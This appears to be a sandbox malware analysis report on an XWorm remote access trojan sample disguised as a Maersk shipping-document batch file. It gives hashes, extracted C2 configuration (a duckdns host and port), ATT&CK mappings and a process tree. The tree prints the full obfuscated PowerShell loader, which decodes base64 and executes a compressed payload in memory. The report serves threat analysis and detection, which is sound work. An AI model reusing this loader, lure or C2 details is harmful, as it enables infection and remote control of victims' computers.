xworm | 0578ce8d2d10a710e7ccbc33fef0ac605153a5928eef55725eb7bedeb5479518

Analysis

max time kernel
149s
max time network
103s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
27/10/2025, 09:25

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General

Target
Maersk_shipping_document_confirmation_request_0000000_10-27-2025.bat
Size 127KB
Sample251027-ld45lsb14g
SHA256 0578ce8d2d10a710e7ccbc33fef0ac605153a5928eef55725eb7bedeb5479518
MD5 2a0808c5d4840511e1e6fd7b17d1c7b0
SHA1 1445ae26fe37b2c89e7cf85c09c0770b1188dc40
SHA512 2c83ab66d37a94b274826de040a5ef26ee1de1260dd8e54e036ad5e344413386703c3e2fe2b90950af80e293ccb88fe5acbb360dee9f71e70d84cd6ea59af5a6
SSDEEP 1536:l47hjjtftL8mTMqr7AfbYCnEMq4EWUFvapwXdjghLgJm8ZpWOgknOGOKkZn:K7hjjL8oM+7AjYCA4EWUF5Np08Hwh
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

businesstradings.duckdns.org:3033

Mutex

O2BOEoUfpEE0Fomd

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3836-15-0x00000231C5460000-0x00000231C546E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3836	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5872	cmd.exe
5724	cmd.exe
2268	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3288	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3836	powershell.exe
3836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5872 wrote to memory of 5724	5872	cmd.exe	79
PID 5872 wrote to memory of 5724	5872	cmd.exe	79
PID 5724 wrote to memory of 2268	5724	cmd.exe	80
PID 5724 wrote to memory of 2268	5724	cmd.exe	80
PID 2268 wrote to memory of 3836	2268	cmd.exe	82
PID 2268 wrote to memory of 3836	2268	cmd.exe	82
PID 3836 wrote to memory of 4576	3836	powershell.exe	84
PID 3836 wrote to memory of 4576	3836	powershell.exe	84
PID 4576 wrote to memory of 3288	4576	cmd.exe	86
PID 4576 wrote to memory of 3288	4576	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Maersk_shipping_document_confirmation_request_0000000_10-27-2025.bat"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5872
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\Maersk_shipping_document_confirmation_request_0000000_10-27-2025.bat"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Maersk_shipping_document_confirmation_request_0000000_10-27-2025.bat"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBbehypuocgojv2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFbehypuocgojvwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVbehypuocgojvABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBubehypuocgojvAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUbehypuocgojvAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAbehypuocgojvA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AbehypuocgojvDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AbehypuocgojvKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAbehypuocgojvkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADbehypuocgojvEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcbehypuocgojvwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwbehypuocgojvAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4behypuocgojvAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQbehypuocgojvAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAbehypuocgojvF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAbehypuocgojvKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABbehypuocgojvyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACbehypuocgojvAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIbehypuocgojvgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABybehypuocgojvAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIbehypuocgojvAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwbehypuocgojvB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAbehypuocgojvDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AbehypuocgojvUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAbehypuocgojvpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHbehypuocgojvcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbbehypuocgojvABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8behypuocgojvACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4behypuocgojvAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQbehypuocgojvAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAbehypuocgojvCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAbehypuocgojvNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABbehypuocgojvsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGbehypuocgojvwAYQBjAGUAIgBsAGUAbQBvAG4AdwBhAHQAZbehypuocgojvQByAG0AZQBsAG8AbgAiACwAIgAiAC0AcgBlbehypuocgojvAHAAbABhAGMAZQAiAHUAYwBhAGQAdwB5AG8behypuocgojvAcQB4AGYAZwBrAHQAaABnACIALAAiACIAKQbehypuocgojvA7AGkAZgAoACQAYQBwAHAAbABlACkAewB0AbehypuocgojvHIAeQB7AGkAZQB4ACgAWwBUAGUAeAB0AC4AbehypuocgojvRQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBbehypuocgojvpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAGbehypuocgojv4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAObehypuocgojvgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdABybehypuocgojvAGkAbgBnACgAJABhAHAAcABsAGUAKQApACkbehypuocgojvAfQBjAGEAdABjAGgAewB9AH0AfQAKACQAbwbehypuocgojvByAGEAbgBnAGUAPQAnAEgANABzAEkAQQBBAbehypuocgojvEEAQQBBAEEAQQBFAEEASgBWAFUAYQAyAC8AbehypuocgojvYQBNAEIAVAA5AEsAMQBhAFYAaQBXAFIAaQBbehypuocgojvYAHIAZgAxAG8AWQBIADQAUQBHAG0AegBzAFbehypuocgojvUATABiAE4AYgBUAFYAQgBtAGcAeQB5AFkAVbehypuocgojvQBZAEUAdAB1ADEARABUAFIATQAvAGUAOQB6behypuocgojvAEgAawBCAEsAcQAzAFgATABoAHkAaQA1AFAbehypuocgojvAdQBmAGMANgAzAE8AdgBiAFkAWABpAFEAVQbehypuocgojvA1AFEAQQAxAG4AQQBGAHIAVQBiADcAKwB6AbehypuocgojvDYAbwB0AGsAOQBxADEAdABFADgAMQBDAGIAbehypuocgojvOABGADYAcgBOAHIAaABSAEkATgBYAEEAeQBbehypuocgojvwAEEARAB3AG4AMAA4AEkAbgBxAHYAUABwADbehypuocgojvQAegBYADEAUABPADAASABnADYAQQBkAHMAUbehypuocgojvwBSAEoATAA0ADEANABKAEkANQB6AGMAeQBqbehypuocgojvADAAVgBBAHAAWAArAE4AdgBwAGMAbwBEAFQbehypuocgojvASAAyAHcASgA5AEwAcQBoAFAAYwBrAG8AbgbehypuocgojvBRAGYAQwBLAEoAQwBCAFAAYwBCAEQAVwBzAbehypuocgojvDEAVgBvAFMAaQBBAGIAYgBxAFoAZQBaAHUAbehypuocgojvTQBzAEQAZQBJAFgAZQBvAGkASQBFAG0AUQBbehypuocgojvKAFQAbABaAFAAVwBVADQARQByAEUAZwBTAFbehypuocgojvUAVABWADcAUgBLAEYAQwBGAHkATgBWADUAebehypuocgojvQB6AHQAKwBLAG4ATQBPAHkAVQBhAGkAeABkbehypuocgojvAGsAQwBwAEQAWgBBAFYALwBMADQAaABDAGcbehypuocgojvANABPAHYAQwAwAE4ASAB5ADcASQB2ADIAagbehypuocgojvBlAGUATABkAEoATgAzAHUAMwBHAFUASAB3AbehypuocgojvGQARQBEAHIATgB5AFAAQgA1AC8AdgB2AGgAbehypuocgojvMQAyAHYAcgBvAHUAagBOADYAZgByAEoAagBbehypuocgojviAGIAQgA3AHIAKwAxAG0AagBzAHIAUABYADbehypuocgojvkAdQAwAC8AcABXAGoAdgB1ADUAUABiADgARbehypuocgojvQBkAGIAVAA3ADEAeABXADgAaQBqADQANAB0behypuocgojvAEQAYwB2AEcAOQBzAFoARQBMAHcATQArADIbehypuocgojvASgBqAFAAcgBOACsAcQA1AHYANgBmAHIAeAbehypuocgojvBiAFgAUgBFAHYAUgBjAHMAaAB6ADYAaABJAbehypuocgojvGwANwBrAGoAQQAxADUAagBKADIASwBTAFAAbehypuocgojvUgBTAGMAVAA5AFcAYQBuAEQAVgBiAFIAZgBbehypuocgojvSAGQAdABmADMAQQBFADIAMABlAEYATABKAGbehypuocgojvUAQgBUAHEAZwBSAFgAegAxAHEANwBFADkANbehypuocgojvABXAFUAbgAvAGMAagBOAFcAOQBqAGoAVgA1behypuocgojvAFAAbABkAGkAdABSAFMAcgB4AGcAVQBzADMbehypuocgojvAMQAyAE8AcAB1AEIAcgBWAE4AagBXAHYAcwbehypuocgojvBSAGQAaQBMAGwATQBqAEYAZABBAFkAcgB0AbehypuocgojvGEAWQB1AFoAWgBJAGkAWgA5ADgAVABvAHoAbehypuocgojvQgAzAE8AbQBaACsAcABsAGMASQB2AEgAUQBbehypuocgojvvAEoAUwBwAGsAagA4ADUAUwBjAFYAUgBjAEbehypuocgojvsAOABzAGkAcgBxADcAMABCAEsAMwA4AFcATbehypuocgojvQBtAFUAWQBVAE0AYQBlAFUAegBBAEIARgAwbehypuocgojvAHUATgAyAFgAdQBlAFQAbABSADIANwBzAGsbehypuocgojvAUwA3AHcAWQB6ADEAYwByAEQASABtADEASwbehypuocgojvBTAHgAQQBTADMANwBzADQAUwB1AGkAaQAzAbehypuocgojvE4AUAAvADgAVwBEAEwAYQBCADcAbwBTAG0AbehypuocgojvNgBtADgAaABuAEUARQBHAFIAVQAzAGwAWQBbehypuocgojvKADQARgBDAFYAbQBKAHgAMQBPAEEAcgBzACbehypuocgojv8AUwBqAFQAMABoADgATgBuAGgAZwBmADYAZbehypuocgojvgBrAFEAYgB1AFIAQQArAFkAMQBvAG0AVgA1behypuocgojvAHcAeQBYAFYAcgBFAGIAYgBiAGcATQAzAE4behypuocgojvANwBzAEgAawBVAHIAVwBjAHEATAA2AEwAKwbehypuocgojvBhAEkAVgBjAGEAWAB6AFQAeAB0AGQAawBhAbehypuocgojvGQANQAzAGwAQQBWADgAMgBhAE0ANgBnAHYAbehypuocgojvUwA2AHkAaQA2AG8AdQByAFYAYQB6AGsAdABbehypuocgojvWAEcAdQB0AGQARwBxAFUAZQBYAHcATQBKAGbehypuocgojv0AbABIAFUAZwB3AGQAdAA1ADEAZwBIAGUAebehypuocgojvQBLAGkAMgB1ADYAZgBzAFEAVwBWAG4ATQBYbehypuocgojvAEEAMABrAE4AbQBXAHQAeQBoAEQASgB5ADYbehypuocgojvARwBYAGMAZwBmAG8AaABzAEMAMQBhAEIAbQbehypuocgojvBDAEgASwBVAEsANwB1AG8ATQB3AFEATwBsAbehypuocgojvDQAdgBZAFUAOABUAHEAZABVAGQAMQBhAEYAbehypuocgojvZABxAGQAVgBRAHgAWABGAFMAUQBJAGIASwAbehypuocgojv5AHAAWgBNAG0AVABCAG4AcQBnAEQAUABSAHbehypuocgojvkAbwAvAHYAcAA5AHkAWAA5AEoAbgBaAEgATbehypuocgojvABOAHMAcgAvAEgAUgA0AHMAcABNAG0AMwAwbehypuocgojvAGMAMQBEAHEAWQAwAFkAdgBxAHEAMABNAHobehypuocgojvATgBtADIAawBzAFYANABNAG0AMQBrAEoAdwbehypuocgojvBMAFoANgBYADIATAA3AFAANQBmADcAbwBsAbehypuocgojvE0AcwBiADgALwBkAEIAegBEAEQAYQBWAFkAbehypuocgojvLwBDAC8AMQBRADAAWgBOAFoAdwBUAGwAdQBbehypuocgojvWAEgAVwBvAFMASwBTAEsAaQBLADcAdQBxADbehypuocgojvAAWQAyAFoAVQAzAGIANAAwAEwAOQBUADkALbehypuocgojvwA1ADAANwA4AFQAZwBZAEEAQQBBAD0APQAnbehypuocgojvADsAJABtAGEAbgBnAG8APQBbAEMAbwBuAHYbehypuocgojvAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwbehypuocgojvBlADYANABTAHQAcgBpAG4AZwAoACQAbwByAbehypuocgojvGEAbgBnAGUAKQA7ACQAcABpAG4AZQBhAHAAbehypuocgojvcABsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwBbehypuocgojv0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHbehypuocgojvIAZQBhAG0AKAAsACQAbQBhAG4AZwBvACkAObehypuocgojvwBpAGUAeAAoAE4AZQB3AC0ATwBiAGoAZQBjbehypuocgojvAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUbehypuocgojvAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQbehypuocgojvBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAbehypuocgojvHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAbehypuocgojvYQBtACgAJABwAGkAbgBlAGEAcABwAGwAZQAbehypuocgojvsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGbehypuocgojvkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbbehypuocgojvwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtbehypuocgojvAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQbehypuocgojvAVABvAEUAbgBkACgAKQAKAA=='.Replace('behypuocgojv','')))))""
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3836
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAA35.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4576
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:3288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_nmmvtljv.khl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmmvtljv.khl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

tmpAA35.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpAA35.tmp.bat
Size 171B
SHA256 df1d43f258dc424d2ef0eae2ae0f82388a12cb748fd296019002877107ad4ba9
MD5 65666ab5fc4a90707dbad6b1a72076f2
SHA1 f20a9d4805b978c41c2a1a9959ed34b64292db11
SHA512 9ed6cc9023557ed54a1b9ab029d92902b6eff1bbb28f8066415415fc58fee3b51ecd31db8ffea1c95a55349a9dd69e48c07e2de0e8035cc624eb2fcfa5be620f
MD5 SHA1 SHA512

Submit Download

aoc.bat

Path C:\Users\Admin\aoc.bat
Size 127KB
SHA256 0578ce8d2d10a710e7ccbc33fef0ac605153a5928eef55725eb7bedeb5479518
MD5 2a0808c5d4840511e1e6fd7b17d1c7b0
SHA1 1445ae26fe37b2c89e7cf85c09c0770b1188dc40
SHA512 2c83ab66d37a94b274826de040a5ef26ee1de1260dd8e54e036ad5e344413386703c3e2fe2b90950af80e293ccb88fe5acbb360dee9f71e70d84cd6ea59af5a6
SSDEEP 1536:l47hjjtftL8mTMqr7AfbYCnEMq4EWUFvapwXdjghLgJm8ZpWOgknOGOKkZn:K7hjjL8oM+7AjYCA4EWUF5Np08Hwh
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3836-12-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-10-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-9-0x00000231C51C0000-0x00000231C51E2000-memory.dmp

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memory/3836-2-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-13-0x00000231C5440000-0x00000231C5448000-memory.dmp

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memory/3836-14-0x00000231C5450000-0x00000231C545C000-memory.dmp

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memory/3836-15-0x00000231C5460000-0x00000231C546E000-memory.dmp

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memory/3836-17-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-16-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-18-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-19-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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memory/3836-1-0x00000231C51B0000-0x00000231C51C0000-memory.dmp

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